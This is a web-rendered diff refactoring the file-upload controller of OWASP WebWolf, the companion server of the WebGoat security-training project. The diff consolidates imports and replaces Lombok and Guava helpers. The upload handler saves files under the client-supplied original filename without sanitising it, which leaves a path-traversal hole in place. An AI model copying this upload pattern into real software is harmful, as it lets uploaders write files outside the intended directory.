|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.ui.ModelMap;
|
import org.springframework.ui.ModelMap;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.*;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestParam;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
import org.springframework.web.multipart.MultipartFile;
|
import org.springframework.web.multipart.MultipartFile;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.view.RedirectView;
|
import org.springframework.web.servlet.view.RedirectView;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
|
||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Controller for uploading a file
|
* Controller for uploading a file
|
||||||
*/
|
*/
|
||||||
@ -65,21 +59,20 @@ public class FileServer {
|
|||||||
@Value("${server.port}")
|
@Value("${server.port}")
|
||||||
private int port;
|
private int port;
|
||||||
|
|
||||||
@RequestMapping(path="/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
|
@RequestMapping(path = "/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public String getFileLocation() {
|
public String getFileLocation() {
|
||||||
return fileLocation;
|
return fileLocation;
|
||||||
}
|
}
|
||||||
|
|
||||||
@PostMapping(value = "/WebWolf/fileupload")
|
@PostMapping(value = "/WebWolf/fileupload")
|
||||||
@SneakyThrows
|
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException {
|
||||||
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
|
|
||||||
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
File destinationDir = new File(fileLocation, user.getUsername());
|
File destinationDir = new File(fileLocation, user.getUsername());
|
||||||
destinationDir.mkdirs();
|
destinationDir.mkdirs();
|
||||||
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
|
||||||
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
|
||||||
Files.touch(new File(destinationDir, user.getUsername() + "_changed"));
|
Files.createFile(new File(destinationDir, user.getUsername() + "_changed").toPath());
|
||||||
|
|
||||||
ModelMap model = new ModelMap();
|
ModelMap model = new ModelMap();
|
||||||
model.addAttribute("uploadSuccess", "File uploaded successful");
|
model.addAttribute("uploadSuccess", "File uploaded successful");
|
||||||
@ -111,7 +104,7 @@ public class FileServer {
|
|||||||
}
|
}
|
||||||
changeIndicatorFile.delete();
|
changeIndicatorFile.delete();
|
||||||
|
|
||||||
List<UploadedFile> uploadedFiles = Lists.newArrayList();
|
var uploadedFiles = new ArrayList<>();
|
||||||
File[] files = destinationDir.listFiles(File::isFile);
|
File[] files = destinationDir.listFiles(File::isFile);
|
||||||
if (files != null) {
|
if (files != null) {
|
||||||
for (File file : files) {
|
for (File file : files) {
|
||||||
@ -122,7 +115,7 @@ public class FileServer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
modelAndView.addObject("files", uploadedFiles);
|
modelAndView.addObject("files", uploadedFiles);
|
||||||
modelAndView.addObject("webwolf_url", "http://" + server +":" + port);
|
modelAndView.addObject("webwolf_url", "http://" + server + ":" + port);
|
||||||
return modelAndView;
|
return modelAndView;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -22,7 +22,6 @@
|
|||||||
|
|
||||||
package org.owasp.webwolf.requests;
|
package org.owasp.webwolf.requests;
|
||||||
|
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user